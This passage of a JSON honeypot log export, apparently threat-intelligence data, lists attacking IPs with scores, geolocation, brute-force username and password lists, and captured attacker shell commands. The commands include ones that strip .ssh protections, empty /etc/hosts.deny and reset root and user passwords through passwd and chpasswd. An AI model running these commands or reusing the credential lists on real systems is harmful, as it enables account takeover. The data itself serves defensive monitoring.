        "696",
        "@@",
        "@@@@",
        "Aa111111",
        "Aa123123"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 20.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 779,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T19:11:15.725000+00:00",
        "last_seen_30d": "2026-03-16T19:34:59.390000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 553,
        "Suricata": 226
      }
    },
    "152.32.191.75": {
      "attack_count": 548,
      "first_seen": "2026-03-02T07:14:49.277Z",
      "last_seen": "2026-03-09T12:31:03.713Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "git",
        "gits",
        "hugo",
        "controlm",
        "emo",
        "nodejs",
        "ts3",
        "zw"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "A1b2c3d4e5",
        "Abc123abc",
        "Abcd123$",
        "Abcd1234..",
        "Bingo@1993",
        "Dev@123",
        "Git123",
        "Li123456.",
        "Nx123456",
        "P@ssw0rd777",
        "Qaz123456",
        "Qweasdzxc123",
        "Qwer1234!@#$",
        "ZAQ!3edc",
        "Zw123!",
        "a0123456",
        "a123110"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\nGI5ysESp6bgR\\nGI5ysESp6bgR\\n\"|passwd",
        "echo \"Git123\\nqTcCWYBRlUVL\\nqTcCWYBRlUVL\\n\"|passwd",
        "echo \"password\\n8oxZrXbICywR\\n8oxZrXbICywR\\n\"|passwd",
        "echo \"root:06EZFWhVDdY4\"|chpasswd|bash",
        "echo \"root:lCvARNZBBzLA\"|chpasswd|bash",
        "echo -e \"123456\\nGI5ysESp6bgR\\nGI5ysESp6bgR\"|passwd|bash",
        "echo -e \"Git123\\nqTcCWYBRlUVL\\nqTcCWYBRlUVL\"|passwd|bash",
        "echo -e \"password\\n8oxZrXbICywR\\n8oxZrXbICywR\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.2,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 666,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T07:14:49.277000+00:00",
        "last_seen_30d": "2026-03-09T12:32:06.506000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 548,
        "Suricata": 118
      }
    },
    "64.227.139.157": {
      "attack_count": 515,
      "first_seen": "2026-03-04T07:13:09.859Z",
      "last_seen": "2026-03-18T09:40:24.977Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "dev1",
        "ftpuser1",
        "odoo",
        "sinusbot",
        "admin",
        "alberto",
        "clawd",
        "deploy",
        "ex",
        "ghostadmin",
        "guest1",
        "incoming",
        "kirill",
        "matin",
        "max",
        "netflow",
        "oracle",
        "otsmanager"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345678",
        "!@QW34er",
        "12121212",
        "1234",
        "12344",
        "1qazXSW@3edcVFR$",
        "20252025",
        "Abc.123456",
        "Bingo@1993",
        "Dev1123",
        "Gfhjkm123456",
        "Incoming",
        "Matin123",
        "Passw0rd.",
        "Qweasd123!@#",
        "Qwerty@1",
        "admin123456"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\n259XeNzdQMNH\\n259XeNzdQMNH\\n\"|passwd",
        "echo \"123\\nGk8KuSFFsbyH\\nGk8KuSFFsbyH\\n\"|passwd",
        "echo \"Dev1123\\n4ct5mNw1yPgB\\n4ct5mNw1yPgB\\n\"|passwd",
        "echo \"ftpuser1123\\ngwslFfveAbW7\\ngwslFfveAbW7\\n\"|passwd",
        "echo -e \"12345678\\n259XeNzdQMNH\\n259XeNzdQMNH\"|passwd|bash",
        "echo -e \"123\\nGk8KuSFFsbyH\\nGk8KuSFFsbyH\"|passwd|bash",
        "echo -e \"Dev1123\\n4ct5mNw1yPgB\\n4ct5mNw1yPgB\"|passwd|bash",
        "echo -e \"ftpuser1123\\ngwslFfveAbW7\\ngwslFfveAbW7\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 29.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.0,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 633,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T07:13:09.859000+00:00",
        "last_seen_30d": "2026-03-18T09:41:28.410000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 515,
        "Suricata": 118
      }
    },
    "121.141.219.98": {
      "attack_count": 514,
      "first_seen": "2026-03-16T07:15:09.781Z",
      "last_seen": "2026-03-23T02:44:02.705Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "adi",
        "debian",
        "nuc",
        "tomcat",
        "verdaccio",
        "zhuge",
        "adminer",
        "ann",
        "dylan",
        "farmacia",
        "peter",
        "root",
        "simone",
        "srvadmin",
        "syj",
        "tsbot",
        "tst",
        "umar",
        "user8"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "1234",
        "password",
        "123",
        "12345",
        "Admin123!",
        "Adminer123",
        "Syj123!",
        "Tsbot123",
        "User8123!",
        "Verdaccio123!",
        "annpass",
        "nucpass",
        "srvadmin123!",
        "zhuge"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nxI7Z5hMHjhn4\\nxI7Z5hMHjhn4\\n\"|passwd",
        "echo \"12345\\nCbmZfB24rubX\\nCbmZfB24rubX\\n\"|passwd",
        "echo \"Verdaccio123!\\n3liEJEblKyv3\\n3liEJEblKyv3\\n\"|passwd",
        "echo \"nucpass\\nGCaMBqImOcYS\\nGCaMBqImOcYS\\n\"|passwd",
        "echo \"password\\ngPupLKzUWbmj\\ngPupLKzUWbmj\\n\"|passwd",
        "echo \"zhuge\\n3RCJfvON0fcl\\n3RCJfvON0fcl\\n\"|passwd",
        "echo -e \"12345678\\nxI7Z5hMHjhn4\\nxI7Z5hMHjhn4\"|passwd|bash",
        "echo -e \"12345\\nCbmZfB24rubX\\nCbmZfB24rubX\"|passwd|bash",
        "echo -e \"Verdaccio123!\\n3liEJEblKyv3\\n3liEJEblKyv3\"|passwd|bash",
        "echo -e \"nucpass\\nGCaMBqImOcYS\\nGCaMBqImOcYS\"|passwd|bash",
        "echo -e \"password\\ngPupLKzUWbmj\\ngPupLKzUWbmj\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yangcheon-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 34.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 586,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T07:15:09.781000+00:00",
        "last_seen_30d": "2026-03-23T02:45:09.221000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 514,
        "Suricata": 72
      }
    },
    "64.188.119.209": {
      "attack_count": 424,
      "first_seen": "2026-03-27T12:57:10.355Z",
      "last_seen": "2026-03-27T15:10:55.676Z",
      "sessions": 79,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "administrator",
        "ansible",
        "apache"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "qwerty",
        "letmein",
        "P@ssw0rd",
        "passw0rd",
        "welcome",
        "admin",
        "admin123",
        "admin2026",
        "administrator",
        "administrator123",
        "administrator2026",
        "ansible",
        "ansible123",
        "ansible2026",
        "apache",
        "apache123",
        "apache2026"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 215590,
      "as_org": "DpkgSoft International Limited",
      "threat_score": 35.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 614,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T12:57:02.323000+00:00",
        "last_seen_30d": "2026-03-27T15:11:57.846000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 424,
        "Suricata": 190
      }
    },
    "192.109.200.213": {
      "attack_count": 395,
      "first_seen": "2026-03-04T14:56:42.292Z",
      "last_seen": "2026-03-12T22:50:22.407Z",
      "sessions": 80,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "123456",
        "ftp",
        "master",
        "oracle",
        "squid",
        "support",
        "vpn",
        "1234",
        "AdminGPON",
        "backup",
        "ftpuser",
        "hadoop",
        "operator",
        "pc",
        "router",
        "telecomadmin",
        "test"
      ],
      "passwords_attempted": [
        "root",
        "admin",
        "admin123",
        "12345",
        "123456",
        "1qaz2wsx3edc",
        "pass",
        "11451419194545810",
        "12345678",
        "<<< %s(un=\\\\'%s\\\\') = %u.",
        "P@ssw0rd",
        "admin2024",
        "ftp",
        "master",
        "squid",
        "support",
        "vpn",
        "1111111111",
        "1234",
        "12341234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 88.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1792,
        "days_active_30d": 28,
        "ports_targeted_30d": 266,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T14:55:59+00:00",
        "last_seen_30d": "2026-03-31T05:55:09.632000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1078,
        "Cowrie": 395,
        "Honeytrap": 319
      }
    },
    "78.134.49.171": {
      "attack_count": 370,
      "first_seen": "2026-03-07T03:19:43.900Z",
      "last_seen": "2026-03-26T10:17:41.702Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "glances0",
        "in",
        "ts3",
        "ai",
        "almacen",
        "anderson",
        "central",
        "cssserver",
        "diego",
        "jenkins",
        "linode",
        "mgmt",
        "shadow",
        "tuxedo",
        "wut",
        "yocto"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "1234",
        "12345",
        "123QWEasdZXC",
        "@qwer2024",
        "@qwer2025",
        "Linode123",
        "almacen123",
        "anderson",
        "css",
        "diego1234",
        "glances0",
        "in123!",
        "jenkins123",
        "password",
        "tuxedo",
        "yocto123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"glances0\\nGcG8ULQQ0xLn\\nGcG8ULQQ0xLn\\n\"|passwd",
        "echo \"in123!\\n9vDW7lR0lLSj\\n9vDW7lR0lLSj\\n\"|passwd",
        "echo \"password\\nB9q9pJGCWmHw\\nB9q9pJGCWmHw\\n\"|passwd",
        "echo \"root:iyADqVKp0RQs\"|chpasswd|bash",
        "echo -e \"glances0\\nGcG8ULQQ0xLn\\nGcG8ULQQ0xLn\"|passwd|bash",
        "echo -e \"in123!\\n9vDW7lR0lLSj\\n9vDW7lR0lLSj\"|passwd|bash",
        "echo -e \"password\\nB9q9pJGCWmHw\\nB9q9pJGCWmHw\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Povegliano Veronese",
      "asn": 35612,
      "as_org": "EOLO S.p.A.",
      "threat_score": 45.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.4,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 439,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T03:19:43.900000+00:00",
        "last_seen_30d": "2026-03-26T10:18:45.443000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 370,
        "Suricata": 69
      }
    },
    "103.134.154.36": {
      "attack_count": 361,
      "first_seen": "2026-03-10T19:28:39.975Z",
      "last_seen": "2026-03-27T15:31:52.388Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "luis",
        "terraria",
        "auser",
        "clawd",
        "stefan",
        "tmp",
        "ts1",
        "yzh"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "1029",
        "123$%^qweRTY",
        "1q2w#E$R",
        "2wsx1qaz!",
        "4rfvgy7",
        "@WSX3edc4rfv",
        "Asd123456.",
        "Lh123456",
        "Pass@word123",
        "Spider2026",
        "Stefan123!",
        "Ts1123!",
        "admin123321",
        "admin@001",
        "angus",
        "asdfghjkl;'\\"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\neRjFlrRbqo3r\\neRjFlrRbqo3r\\n\"|passwd",
        "echo \"root:5UbI2QOtTyMr\"|chpasswd|bash",
        "echo \"terraria1234\\nc7lDLjufwAcM\\nc7lDLjufwAcM\\n\"|passwd",
        "echo -e \"123\\neRjFlrRbqo3r\\neRjFlrRbqo3r\"|passwd|bash",
        "echo -e \"terraria1234\\nc7lDLjufwAcM\\nc7lDLjufwAcM\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 46.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.6,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 461,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T19:28:39.975000+00:00",
        "last_seen_30d": "2026-03-27T15:32:57.005000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 361,
        "Suricata": 100
      }
    },
    "8.242.87.227": {
      "attack_count": 331,
      "first_seen": "2026-03-10T20:38:02.885Z",
      "last_seen": "2026-03-10T21:03:18.728Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "allen",
        "mailuser",
        "sit",
        "student2",
        "clawd",
        "jhpark",
        "linux",
        "root",
        "rstudio",
        "teamcity",
        "zhao"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "12345678",
        "Allen123!",
        "Lx123456",
        "jhparkpass",
        "linux",
        "password",
        "rstudio123!",
        "student2"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nVfxqc1lEWtZW\\nVfxqc1lEWtZW\\n\"|passwd",
        "echo \"123\\nQCi3Tk4292Bs\\nQCi3Tk4292Bs\\n\"|passwd",
        "echo \"Allen123!\\nYFS3IFduCp30\\nYFS3IFduCp30\\n\"|passwd",
        "echo \"student2\\nKOc0NCoDd4Sw\\nKOc0NCoDd4Sw\\n\"|passwd",
        "echo -e \"12345678\\nVfxqc1lEWtZW\\nVfxqc1lEWtZW\"|passwd|bash",
        "echo -e \"123\\nQCi3Tk4292Bs\\nQCi3Tk4292Bs\"|passwd|bash",
        "echo -e \"Allen123!\\nYFS3IFduCp30\\nYFS3IFduCp30\"|passwd|bash",
        "echo -e \"student2\\nKOc0NCoDd4Sw\\nKOc0NCoDd4Sw\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Medell\u00edn",
      "asn": 3549,
      "as_org": "Level 3 Parent, LLC",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 374,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T20:38:02.885000+00:00",
        "last_seen_30d": "2026-03-10T21:04:21.038000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 331,
        "Suricata": 43
      }
    },
    "152.32.129.17": {
      "attack_count": 317,
      "first_seen": "2026-03-12T23:27:25.548Z",
      "last_seen": "2026-03-23T01:33:54.319Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "claude",
        "go",
        "install",
        "odoo12",
        "root",
        "aman",
        "arkserver",
        "deploy",
        "gianluca",
        "gm",
        "jan",
        "joao",
        "labs",
        "mobiquity",
        "mqtt",
        "student",
        "syncuser",
        "ttx",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "123",
        "12345678",
        "Cloud@123",
        "Install123!",
        "Labs123",
        "Syncuser123",
        "amanpass",
        "asdf123",
        "david123",
        "jan123!",
        "mobiquity",
        "mqtt1234",
        "pass123",
        "password",
        "password123",
        "pixel"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\nKC83Y2l1pGHh\\nKC83Y2l1pGHh\\n\"|passwd",
        "echo \"Install123!\\nMFhWsSR5DP9r\\nMFhWsSR5DP9r\\n\"|passwd",
        "echo \"password\\nWqP8ESlRbcHw\\nWqP8ESlRbcHw\\n\"|passwd",
        "echo -e \"1234\\nKC83Y2l1pGHh\\nKC83Y2l1pGHh\"|passwd|bash",
        "echo -e \"Install123!\\nMFhWsSR5DP9r\\nMFhWsSR5DP9r\"|passwd|bash",
        "echo -e \"password\\nWqP8ESlRbcHw\\nWqP8ESlRbcHw\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 35.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.8,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 382,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T23:27:25.548000+00:00",
        "last_seen_30d": "2026-03-23T01:35:02.833000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 317,
        "Suricata": 65
      }
    },
    "201.249.89.102": {
      "attack_count": 310,
      "first_seen": "2026-03-03T12:15:27.153Z",
      "last_seen": "2026-03-17T09:10:15.353Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "db2admin",
        "adminuser",
        "jessica",
        "kapsch",
        "nginx",
        "nima",
        "online",
        "waf"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "'",
        "123",
        "12345678",
        "1q2w3E4R",
        "1qaz!@#$",
        "Bingo@1993",
        "Florinlaur2005",
        "Unicorn123",
        "ZAQ!@WSXcde3",
        "abc@2024",
        "intern",
        "jessica123",
        "nginxpass",
        "octubre",
        "online123!",
        "password",
        "robert"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345\\nYEwyi6stFTIk\\nYEwyi6stFTIk\\n\"|passwd",
        "echo \"root:mgF5oed9hkcs\"|chpasswd|bash",
        "echo \"root:nrreVB3IZKpP\"|chpasswd|bash",
        "echo -e \"12345\\nYEwyi6stFTIk\\nYEwyi6stFTIk\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
